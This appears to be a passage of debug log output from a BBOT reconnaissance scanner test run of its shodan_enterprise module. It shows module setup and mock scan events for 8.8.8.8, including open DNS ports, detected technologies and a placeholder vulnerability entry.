09:06:08,944 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-02 09:06:08,945 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-02 09:06:08,948 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:06:08,949 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-02 09:06:08,949 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:06:08,949 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-02 09:06:08,949 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:06:08,949 [HUGEINFO] bbot.core.helpers.depsinstaller logger.py:151 Installing module dependencies. Please be patient, this may take a while. -2026-03-02 09:06:08,949 [VERBOSE] bbot.core.helpers.depsinstaller logger.py:151 Installing dependencies for module "shodan_enterprise" -2026-03-02 09:06:08,950 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-02 09:06:08,952 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/wzypcfajjsq0nomm1waf -2026-03-02 09:06:09,773 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/lib/python3.13/site-packages (from tldextract->shodan) (3.18.0) -2026-03-02 09:06:09,773 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-02 09:06:09,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:06:09,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-02 09:06:09,775 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_enterprise -2026-03-02 09:06:09,843 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_enterprise" -2026-03-02 09:06:09,843 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-02 09:06:09,843 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive -2026-03-02 09:06:09,844 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" -2026-03-02 09:06:09,845 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" -2026-03-02 09:06:09,845 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-02 09:06:09,845 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python -2026-03-02 09:06:09,846 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" -2026-03-02 09:06:09,846 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-02 09:06:09,846 [VERBOSE] bbot.scanner logger.py:151 Setting up modules -2026-03-02 09:06:09,846 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-02 09:06:09,847 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-02 09:06:09,847 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-02 09:06:09,847 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-02 09:06:09,847 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-02 09:06:09,847 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-02 09:06:09,848 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-02 09:06:09,848 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-02 09:06:09,848 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-02 09:06:09,848 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-02 09:06:09,848 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-02 09:06:09,848 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-02 09:06:09,849 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-02 09:06:09,849 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-02 09:06:09,849 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-02 09:06:09,849 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-02 09:06:09,849 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-02 09:06:09,850 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-02 09:06:09,850 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-02 09:06:09,850 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-02 09:06:09,850 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-02 09:06:09,851 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-02 09:06:09,851 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-02 09:06:09,851 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-02 09:06:09,851 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-02 09:06:09,852 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-02 09:06:09,852 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-02 09:06:09,852 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-02 09:06:09,852 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-02 09:06:09,852 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-02 09:06:09,853 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-02 09:06:09,853 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-02 09:06:09,853 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. -2026-03-02 09:06:09,853 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-02 09:06:09,853 [DEBUG] bbot base.py:111 Starting scan -2026-03-02 09:06:09,935 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_enterprise_test_p5zhnund7e -2026-03-02 09:06:09,935 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops -2026-03-02 09:06:10,003 [VERBOSE] bbot.scanner logger.py:151 6 modules started -2026-03-02 09:06:10,003 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-02 09:06:10,003 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-02 09:06:10,004 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-03-02 09:06:10,105 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:06:10,106 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:06:10,106 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:06:10,107 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check -2026-03-02 09:06:10,107 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-03-02 09:06:10,108 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-02 09:06:10,108 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:06:10,109 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target -2026-03-02 09:06:10,109 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:06:10,110 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:06:10,110 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:06:10,111 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-02 09:06:10,111 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:06:10,112 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:06:10,112 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-02 09:06:10,115 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:06:10,116 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-02 09:06:10,116 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:06:10,117 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:06:10,117 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-03-02 09:06:10,117 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-03-02 09:06:10,118 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-03-02 09:06:10,118 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-02 09:06:10,118 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:06:10,120 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:06:10,205 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-02 09:06:10,206 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:06:10,207 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-03-02 09:06:10,207 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-02 09:06:10,211 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) passed post-check -2026-03-02 09:06:10,212 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) -2026-03-02 09:06:10,213 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) in-scope because its main host matches the scan target -2026-03-02 09:06:10,214 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) -2026-03-02 09:06:10,214 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) passed post-check -2026-03-02 09:06:10,215 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) -2026-03-02 09:06:10,215 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) passed post-check -2026-03-02 09:06:10,215 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) -2026-03-02 09:06:10,216 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) in-scope because its main host matches the scan target -2026-03-02 09:06:10,216 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) -2026-03-02 09:06:10,217 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check -2026-03-02 09:06:10,217 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) -2026-03-02 09:06:10,217 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) -2026-03-02 09:06:10,217 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) passed post-check -2026-03-02 09:06:10,218 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) -2026-03-02 09:06:10,218 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:06:10,218 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) passed post-check -2026-03-02 09:06:10,218 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) -2026-03-02 09:06:10,219 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) -2026-03-02 09:06:10,219 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check -2026-03-02 09:06:10,219 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:06:10,219 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) -2026-03-02 09:06:10,220 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check -2026-03-02 09:06:10,220 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) -2026-03-02 09:06:10,220 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:06:10,221 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) -2026-03-02 09:06:10,221 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) because precheck succeeded -2026-03-02 09:06:10,221 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) passed post-check -2026-03-02 09:06:10,222 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) -2026-03-02 09:06:10,222 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:06:10,222 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:06:10,223 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) -2026-03-02 09:06:10,223 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) -2026-03-02 09:06:10,223 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check -2026-03-02 09:06:10,223 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:06:10,224 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) in-scope because its main host matches the scan target -2026-03-02 09:06:10,224 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) -2026-03-02 09:06:10,224 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) because precheck succeeded -2026-03-02 09:06:10,225 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check -2026-03-02 09:06:10,225 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) -2026-03-02 09:06:10,225 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) -2026-03-02 09:06:10,225 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check -2026-03-02 09:06:10,226 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) -2026-03-02 09:06:10,226 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:06:10,226 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:06:10,226 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) -2026-03-02 09:06:10,227 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:06:10,227 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) -2026-03-02 09:06:10,227 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) because precheck succeeded -2026-03-02 09:06:10,227 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check -2026-03-02 09:06:10,228 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:06:10,228 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) -2026-03-02 09:06:10,228 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check -2026-03-02 09:06:10,228 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:06:10,229 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) -2026-03-02 09:06:10,229 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check -2026-03-02 09:06:10,229 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) -2026-03-02 09:06:10,229 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:06:10,230 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:06:10,230 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) because precheck succeeded -2026-03-02 09:06:10,230 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:06:10,230 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) -2026-03-02 09:06:10,231 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 